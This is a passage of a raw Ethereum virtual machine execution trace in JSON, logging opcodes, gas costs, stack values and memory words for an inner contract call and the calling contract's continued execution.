00000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":162,"op":"JUMPI","gas":102826,"gasCost":10,"depth":2,"stack":["0x978bbdb9","0x0","0x2e1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":163,"op":"DUP1","gas":102816,"gasCost":3,"depth":2,"stack":["0x978bbdb9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":164,"op":"PUSH4","gas":102813,"gasCost":3,"depth":2,"stack":["0x978bbdb9","0x978bbdb9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":169,"op":"EQ","gas":102810,"gasCost":3,"depth":2,"stack":["0x978bbdb9","0x978bbdb9","0x978bbdb9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":170,"op":"PUSH2","gas":102807,"gasCost":3,"depth":2,"stack":["0x978bbdb9","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":173,"op":"JUMPI","gas":102804,"gasCost":10,"depth":2,"stack":["0x978bbdb9","0x1","0x2e9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":745,"op":"JUMPDEST","gas":102794,"gasCost":1,"depth":2,"stack":["0x978bbdb9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":746,"op":"PUSH2","gas":102793,"gasCost":3,"depth":2,"stack":["0x978bbdb9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":749,"op":"PUSH1","gas":102790,"gasCost":3,"depth":2,"stack":["0x978bbdb9","0x21e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":751,"op":"SLOAD","gas":102787,"gasCost":2100,"depth":2,"stack":["0x978bbdb9","0x21e","0xb"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":752,"op":"DUP2","gas":100687,"gasCost":3,"depth":2,"stack":["0x978bbdb9","0x21e","0x3"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":753,"op":"JUMP","gas":100684,"gasCost":8,"depth":2,"stack":["0x978bbdb9","0x21e","0x3","0x21e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":542,"op":"JUMPDEST","gas":100676,"gasCost":1,"depth":2,"stack":["0x978bbdb9","0x21e","0x3"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":543,"op":"PUSH1","gas":100675,"gasCost":3,"depth":2,"stack":["0x978bbdb9","0x21e","0x3"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":545,"op":"MLOAD","gas":100672,"gasCost":3,"depth":2,"stack":["0x978bbdb9","0x21e","0x3","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":546,"op":"SWAP1","gas":100669,"gasCost":3,"depth":2,"stack":["0x978bbdb9","0x21e","0x3","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":547,"op":"DUP2","gas":100666,"gasCost":3,"depth":2,"stack":["0x978bbdb9","0x21e","0x80","0x3"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":548,"op":"MSTORE","gas":100663,"gasCost":9,"depth":2,"stack":["0x978bbdb9","0x21e","0x80","0x3","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":549,"op":"PUSH1","gas":100654,"gasCost":3,"depth":2,"stack":["0x978bbdb9","0x21e","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000003"]},{"pc":551,"op":"ADD","gas":100651,"gasCost":3,"depth":2,"stack":["0x978bbdb9","0x21e","0x80","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000003"]},{"pc":552,"op":"PUSH2","gas":100648,"gasCost":3,"depth":2,"stack":["0x978bbdb9","0x21e","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000003"]},{"pc":555,"op":"JUMP","gas":100645,"gasCost":8,"depth":2,"stack":["0x978bbdb9","0x21e","0xa0","0x1a7"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000003"]},{"pc":423,"op":"JUMPDEST","gas":100637,"gasCost":1,"depth":2,"stack":["0x978bbdb9","0x21e","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000003"]},{"pc":424,"op":"PUSH1","gas":100636,"gasCost":3,"depth":2,"stack":["0x978bbdb9","0x21e","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000003"]},{"pc":426,"op":"MLOAD","gas":100633,"gasCost":3,"depth":2,"stack":["0x978bbdb9","0x21e","0xa0","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000003"]},{"pc":427,"op":"DUP1","gas":100630,"gasCost":3,"depth":2,"stack":["0x978bbdb9","0x21e","0xa0","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000003"]},{"pc":428,"op":"SWAP2","gas":100627,"gasCost":3,"depth":2,"stack":["0x978bbdb9","0x21e","0xa0","0x80","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000003"]},{"pc":429,"op":"SUB","gas":100624,"gasCost":3,"depth":2,"stack":["0x978bbdb9","0x21e","0x80","0x80","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000003"]},{"pc":430,"op":"SWAP1","gas":100621,"gasCost":3,"depth":2,"stack":["0x978bbdb9","0x21e","0x80","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000003"]},{"pc":431,"op":"RETURN","gas":100618,"gasCost":0,"depth":2,"stack":["0x978bbdb9","0x21e","0x20","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000003"]},{"pc":5291,"op":"ISZERO","gas":102252,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x978bbdb9","0x1e4","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5292,"op":"DUP1","gas":102249,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x978bbdb9","0x1e4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5293,"op":"ISZERO","gas":102246,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x978bbdb9","0x1e4","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5294,"op":"PUSH2","gas":102243,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x978bbdb9","0x1e4","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5297,"op":"JUMPI","gas":102240,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x978bbdb9","0x1e4","0x0","0x1","0x14bb"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5307,"op":"JUMPDEST","gas":102230,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x978bbdb9","0x1e4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5308,"op":"POP","gas":102229,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x978bbdb9","0x1e4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5309,"op":"POP","gas":102227,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x978bbdb9","0x1e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5310,"op":"POP","gas":102225,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x978bbdb9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5311,"op":"POP","gas":102223,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5312,"op":"PUSH1","gas":102221,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5314,"op":"MLOAD","gas":102218,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5315,"op":"RETURNDATASIZE","gas":102215,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1e0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711e